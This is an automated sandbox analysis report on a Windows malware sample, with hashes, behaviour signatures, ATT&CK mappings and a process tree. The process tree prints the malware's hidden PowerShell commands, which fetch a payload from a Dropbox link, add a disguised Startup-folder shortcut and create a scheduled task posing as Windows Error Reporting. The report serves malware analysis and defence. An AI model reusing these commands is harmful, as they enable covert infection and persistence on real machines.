Analysis
- max time kernel
149s - max time network
114s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
05/08/2026, 02:40
Static task
static1
Behavioral task
behavioral1
Sample
2026-08-05_fc1e3f4743bb254a86887b6b98a72c2c_akira_conti.exe
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
2026-08-05_fc1e3f4743bb254a86887b6b98a72c2c_akira_conti.exe
Resource
win11ltsc2024-20260709-en
General
- Target 2026-08-05_fc1e3f4743bb254a86887b6b98a72c2c_akira_conti.exe
- Size 531KB
- Sample260805-c552jscc54
- SHA256 f96e938dda97cab4c7adfa40056a3511fb2d0d7108557695e9eb820ce3cb5aaf
- MD5 fc1e3f4743bb254a86887b6b98a72c2c
- SHA1 70972a7d4ed035faf03e1677c3cd0d0c497cf531
- SHA512 0c647adf1c73a901b3ea8e9c94af37627e9d8bb537bd7de7f8ac4d393d744ee56f3c278c07e7a06dd4510d906022829628047c7413615ba4ba0c335d55f9bbac
- SSDEEP 6144:i3m4rc0XtBaoAxvcf+hDQ61xPmOwqt0R+e+NXPneo1obxqeThDZf7oM5U3etzW:i3a4fyO+hDQwxPmuneu4XhD97j23etzW
- TLSH T186C47D92BAC47CFED602C03C426B927662377BCA53219FB709695A342F97DC12E0971D
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Looks for VirtualBox drivers on disk 2 TTPs 6 IoCs
description ioc Process File opened (read-only) C:\Windows\System32\drivers\vboxguest.sys WerFault.exe File opened (read-only) C:\Windows\System32\drivers\vboxguest.sys WerFault.exe File opened (read-only) C:\Windows\System32\drivers\vboxguest.sys WerFault.exe File opened (read-only) C:\Windows\System32\drivers\vboxguest.sys 2026-08-05_fc1e3f4743bb254a86887b6b98a72c2c_akira_conti.exe File opened (read-only) C:\Windows\System32\drivers\vboxguest.sys monitor.exe File opened (read-only) C:\Windows\System32\drivers\vboxguest.sys WerFault.exe - Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 2 5628 powershell.exe 3 2300 powershell.exe 4 4456 powershell.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs
Run Powershell and hide display window.
pid Process 5700 powershell.exe 4340 powershell.exe 5628 powershell.exe 2300 powershell.exe 4456 powershell.exe 5628 powershell.exe 2300 powershell.exe 4456 powershell.exe - Looks for VMWare drivers on disk 2 TTPs 6 IoCs
description ioc Process File opened (read-only) C:\Windows\System32\drivers\vmmouse.sys 2026-08-05_fc1e3f4743bb254a86887b6b98a72c2c_akira_conti.exe File opened (read-only) C:\Windows\System32\drivers\vmmouse.sys monitor.exe File opened (read-only) C:\Windows\System32\drivers\vmmouse.sys WerFault.exe File opened (read-only) C:\Windows\System32\drivers\vmmouse.sys WerFault.exe File opened (read-only) C:\Windows\System32\drivers\vmmouse.sys WerFault.exe File opened (read-only) C:\Windows\System32\drivers\vmmouse.sys WerFault.exe - Creates a file in the Startup directory 1 TTPs 2 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\monitor.lnk powershell.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\monitor.lnk powershell.exe - Executes dropped EXE 7 IoCs
pid Process 5792 monitor.exe 2100 monitor.exe 4448 WerFault.exe 4348 monitor.exe 4944 WerFault.exe 5916 WerFault.exe 1660 WerFault.exe - Drops file in System32 directory 2 IoCs
description ioc Process File opened for modification C:\Windows\System32\test.tmp 2026-08-05_fc1e3f4743bb254a86887b6b98a72c2c_akira_conti.exe File opened for modification C:\Windows\System32\test.tmp monitor.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 3 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 3404 cmd.exe 684 cmd.exe 3516 cmd.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1500 schtasks.exe 1720 schtasks.exe - Suspicious behavior: EnumeratesProcesses 14 IoCs
pid Process 5700 powershell.exe 5700 powershell.exe 4340 powershell.exe 4340 powershell.exe 4340 powershell.exe 5628 powershell.exe 5628 powershell.exe 5628 powershell.exe 2300 powershell.exe 2300 powershell.exe 2300 powershell.exe 4456 powershell.exe 4456 powershell.exe 4456 powershell.exe - Suspicious use of AdjustPrivilegeToken 5 IoCs
description pid Process Token: SeDebugPrivilege 5700 powershell.exe Token: SeDebugPrivilege 4340 powershell.exe Token: SeDebugPrivilege 5628 powershell.exe Token: SeDebugPrivilege 2300 powershell.exe Token: SeDebugPrivilege 4456 powershell.exe - Suspicious use of WriteProcessMemory 15 IoCs
description pid Process procid_target PID 3296 wrote to memory of 5700 3296 2026-08-05_fc1e3f4743bb254a86887b6b98a72c2c_akira_conti.exe 88 PID 5792 wrote to memory of 4340 5792 monitor.exe 92 PID 3296 wrote to memory of 684 3296 2026-08-05_fc1e3f4743bb254a86887b6b98a72c2c_akira_conti.exe 94 PID 3296 wrote to memory of 5628 3296 2026-08-05_fc1e3f4743bb254a86887b6b98a72c2c_akira_conti.exe 95 PID 684 wrote to memory of 2100 684 cmd.exe 98 PID 2100 wrote to memory of 3516 2100 monitor.exe 99 PID 3516 wrote to memory of 4448 3516 cmd.exe 101 PID 4448 wrote to memory of 2300 4448 WerFault.exe 102 PID 5792 wrote to memory of 3404 5792 monitor.exe 104 PID 5792 wrote to memory of 4456 5792 monitor.exe 105 PID 3404 wrote to memory of 4348 3404 cmd.exe 108 PID 3296 wrote to memory of 1500 3296 2026-08-05_fc1e3f4743bb254a86887b6b98a72c2c_akira_conti.exe 109 PID 3296 wrote to memory of 4944 3296 2026-08-05_fc1e3f4743bb254a86887b6b98a72c2c_akira_conti.exe 111 PID 5792 wrote to memory of 1720 5792 monitor.exe 116 PID 5792 wrote to memory of 1660 5792 monitor.exe 118 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-08-05_fc1e3f4743bb254a86887b6b98a72c2c_akira_conti.exe"C:\Users\Admin\AppData\Local\Temp\2026-08-05_fc1e3f4743bb254a86887b6b98a72c2c_akira_conti.exe"1⤵
- Looks for VirtualBox drivers on disk
- Looks for VMWare drivers on disk
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:3296 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -WindowStyle Hidden -Command "$WshShell = New-Object -ComObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\monitor.lnk'); $Shortcut.TargetPath = 'C:\ProgramData\Microsoft\Windows\WER\monitor.exe'; $Shortcut.WorkingDirectory = 'C:\ProgramData\Microsoft\Windows\WER'; $Shortcut.Description = 'Windows Error Reporting Monitor'; $Shortcut.WindowStyle = 7; $Shortcut.Save()"2⤵
- Command and Scripting Interpreter: PowerShell
- Creates a file in the Startup directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5700
-
-
C:\Windows\system32\cmd.exe"cmd" /c start "" C:\ProgramData\Microsoft\Windows\WER\monitor.exe2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:684 -
C:\ProgramData\Microsoft\Windows\WER\monitor.exeC:\ProgramData\Microsoft\Windows\WER\monitor.exe3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2100 -
C:\Windows\system32\cmd.exe"cmd" /c start "" C:\ProgramData\Microsoft\Windows\WER\WerFault.exe4⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3516 -
C:\ProgramData\Microsoft\Windows\WER\WerFault.exeC:\ProgramData\Microsoft\Windows\WER\WerFault.exe5⤵
- Looks for VirtualBox drivers on disk
- Looks for VMWare drivers on disk
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4448 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$ProgressPreference='SilentlyContinue'; Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/vuvwl23hgykfsvoto1zj9/mata.sgn?rlkey=j1l9lqlpmn8751afw6vkc435m&st=s778w2bm&dl=1' -OutFile 'C:\ProgramData\Microsoft\Windows\WER\werdata.db'"6⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2300
-
-
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$ProgressPreference='SilentlyContinue'; Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/vuvwl23hgykfsvoto1zj9/mata.sgn?rlkey=j1l9lqlpmn8751afw6vkc435m&st=s778w2bm&dl=1' -OutFile 'C:\ProgramData\Microsoft\Windows\WER\werdata.db'"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5628
-
-
C:\Windows\system32\schtasks.exe"schtasks" /create /tn WindowsErrorReporting /tr C:\ProgramData\Microsoft\Windows\WER\WerFault.exe /sc onlogon /ru PEXWEVZA\Admin /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:1500
-
-
C:\ProgramData\Microsoft\Windows\WER\WerFault.exe"C:\ProgramData\Microsoft\Windows\WER\WerFault.exe"2⤵
- Looks for VirtualBox drivers on disk
- Looks for VMWare drivers on disk
- Executes dropped EXE
PID:4944
-
-
C:\PROGRA~3\MICROS~1\Windows\WER\monitor.exeC:\PROGRA~3\MICROS~1\Windows\WER\monitor.exe1⤵
- Looks for VirtualBox drivers on disk
- Looks for VMWare drivers on disk
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:5792 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -WindowStyle Hidden -Command "$WshShell = New-Object -ComObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\monitor.lnk'); $Shortcut.TargetPath = 'C:\ProgramData\Microsoft\Windows\WER\monitor.exe'; $Shortcut.WorkingDirectory = 'C:\ProgramData\Microsoft\Windows\WER'; $Shortcut.Description = 'Windows Error Reporting Monitor'; $Shortcut.WindowStyle = 7; $Shortcut.Save()"2⤵
- Command and Scripting Interpreter: PowerShell
- Creates a file in the Startup directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4340
-
-
C:\Windows\system32\cmd.exe"cmd" /c start "" C:\ProgramData\Microsoft\Windows\WER\monitor.exe2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3404 -
C:\ProgramData\Microsoft\Windows\WER\monitor.exeC:\ProgramData\Microsoft\Windows\WER\monitor.exe3⤵
- Executes dropped EXE
PID:4348
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$ProgressPreference='SilentlyContinue'; Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/vuvwl23hgykfsvoto1zj9/mata.sgn?rlkey=j1l9lqlpmn8751afw6vkc435m&st=s778w2bm&dl=1' -OutFile 'C:\ProgramData\Microsoft\Windows\WER\werdata.db'"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4456
-
-
C:\Windows\system32\schtasks.exe"schtasks" /create /tn WindowsErrorReporting /tr C:\ProgramData\Microsoft\Windows\WER\WerFault.exe /sc onlogon /ru PEXWEVZA\Admin /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:1720
-
-
C:\ProgramData\Microsoft\Windows\WER\WerFault.exe"C:\ProgramData\Microsoft\Windows\WER\WerFault.exe"2⤵
- Looks for VirtualBox drivers on disk
- Looks for VMWare drivers on disk
- Executes dropped EXE
PID:1660
-
-
C:\ProgramData\Microsoft\Windows\WER\WerFault.exeC:\ProgramData\Microsoft\Windows\WER\WerFault.exe1⤵
- Looks for VirtualBox drivers on disk
- Looks for VMWare drivers on disk
- Executes dropped EXE
PID:5916
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵PID:2824
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\ProgramData\Microsoft\Windows\WER\monitor.exe
- Size 531KB
- SHA256 f96e938dda97cab4c7adfa40056a3511fb2d0d7108557695e9eb820ce3cb5aaf
- MD5 fc1e3f4743bb254a86887b6b98a72c2c
- SHA1 70972a7d4ed035faf03e1677c3cd0d0c497cf531
- SHA512 0c647adf1c73a901b3ea8e9c94af37627e9d8bb537bd7de7f8ac4d393d744ee56f3c278c07e7a06dd4510d906022829628047c7413615ba4ba0c335d55f9bbac
- SSDEEP 6144:i3m4rc0XtBaoAxvcf+hDQ61xPmOwqt0R+e+NXPneo1obxqeThDZf7oM5U3etzW:i3a4fyO+hDQwxPmuneu4XhD97j23etzW
- TLSH T186C47D92BAC47CFED602C03C426B927662377BCA53219FB709695A342F97DC12E0971D
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\ProgramData\Microsoft\Windows\WER\werdata.db
- Size 186KB
- SHA256 2116f68886a1b3047ba05e9790aa497314c7d0d2259e056d995d1fd666419ff6
- MD5 877746d5d6144665986ddb83d0698c3d
- SHA1 d3ccb7b48ade90d7edcb1edbf6f32c7366b7aa80
- SHA512 7d9e9599f8bf65374c869e0cc0bfb32d17774be69735b13ff95fa0194c18cd64f9fc54494588915770264492e45cbc26fe457d6f3770d0bc7138d58e7ea0a0a0
- SSDEEP 3072:4D2ktkta7nveM7JmJyHmH0qs1jDw01j1ZL8z8gP/B3+t57fbdLKV/tZL0fEoWWD5:4APi5xPE34fX
- TLSH T1B814F7408CB5CD075CD93FBD7C976E015E8A238266F14907BB684B6826B49FF31DA24B
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
- Size 67KB
- SHA256 96952b58e7507bfbf6b1edf838d41182ae4f94e983572fa0c037be46d4ab1b05
- MD5 b65d38126d60f6776d0fee761697a8ab
- SHA1 fce1b1fa5ee6c386768d73e767a6bf9a04c23b30
- SHA512 100a082250af816628e48f6949a2068bada9998b7bd29fa7408af7fd8d4425d03c85b92e6e2e4c08dc55e6bb56b4f31aedeaf3f4ac201e80d2cdac77353c5dd6
- SSDEEP 1536:mKLg0mYo2hOovpfKQVGflJdpHYWh4iUx9R40i71Yi9MQyPcMrxoi3jiRjdvRwa5Z:mKLg0mYo2hOovpfKQVGflJd9YWqiU9Rg
- TLSH T11C636192E9204E75E1A66F3EF15622627C30394690F8113211DC25EFA987D970B1FBFE
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 b67191a152d4566d0194395342f55c6142d94005610603fdc92ac4d491519f82
- MD5 836da308c17b18155d513895baff5404
- SHA1 548067c779da32edfafb48a6f14e086ed6dac113
- SHA512 178cf31b7fc6015878508f9727fbc9feeb029d245b759b27d74ce893732322acf0ecc0c3570ec7c87e62b9e6d58b374a4b529e3e47c42762cd1b8cfe74d73b6a
- TLSH T1AA115733B3CC8724DC9A403650CEAC1136B687DB409EDE6BBB84D549B82F299DE61160
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 aa9f3ff52039f19698ec0bd2cc8eb5767d16f43a8895cdeeb3e03150eaf05373
- MD5 e80b3dba27745d905a99b06231bd989c
- SHA1 320235017f775edf11c5d1dc0c71f1e43adb746c
- SHA512 3e52abacc6e6035969530423c41de2e3112dda3488db6febfcc1a7e08be81e600de805d2987a4e4c29215543f62eb59508dede4bf0add8c93559b5516ae32a87
- TLSH T133115733F3CC8664DC9A413650CEAC1036B787DB409EDE9BAB84D559B42F685CF61160
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 6a0f6c545beaac7d95f6d759165f12ab79330c5a4214be90d4c3bd70a7466e0e
- MD5 71c335411158d29b1ecf4aff8f563b0c
- SHA1 5415d69ca139a19eb3375e2dfad2e6474582e9c0
- SHA512 a339fb321041dc8598843f625ec72700310b8945709719268c4c0dc3a81246ae5b2f0a0df6dfba157a797e955996b6cfc44afcc3f540c9aa526b36fcfbbd2822
- TLSH T144215733F3CC86A4DC9A413650CEAC1136B787DB409EDEABAB84D559B42F689CF61160
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 3674b90c1caf1df47ef6cdfcff99b7987586cab16fe77bbe8318ca09a0cd9a77
- MD5 8e905f2b8648d1e6d98fe873e767284e
- SHA1 b351c01a95e361a8200fad41aaeb7eda7cd56d00
- SHA512 651c9b32840f7670a5ab155e3a89147921c73c323076c72fa39573f6ab7c4a96a64a70cd8078822c004e1842515414c2eba88a034eceff86fab746e992d6fc90
- TLSH T160215733F3CC8624DC9A403650CEAC1136B687DB409EDE6BBB84D549B42F289DE61160
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4wp3wrqu.v4p.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\monitor.lnk
- Size 1KB
- SHA256 afc068b7ecc447cc87ec5d17ea5432a871659f7ad0a2bb0e9b2f17e9c94bb662
- MD5 b217bbdee4baed2a2b8eca92ce6bf17a
- SHA1 c8e5ee11e30b0a3e753ab38186069640d0f3086a
- SHA512 e39b1b1e70251c2b60bd0ebf1fa2ca406c80c458d26f8051133cb7358298bfe5a5b0f09a1056dd6aeb93b3772d940c5cb719a303e7171c1f5c2a82da14092cfc
- TLSH T14B212B0917761F19F2F34576062667719B37FC01FBA5C74A024992990934A00AD68F3B
- MD5 SHA1 SHA512 TLSH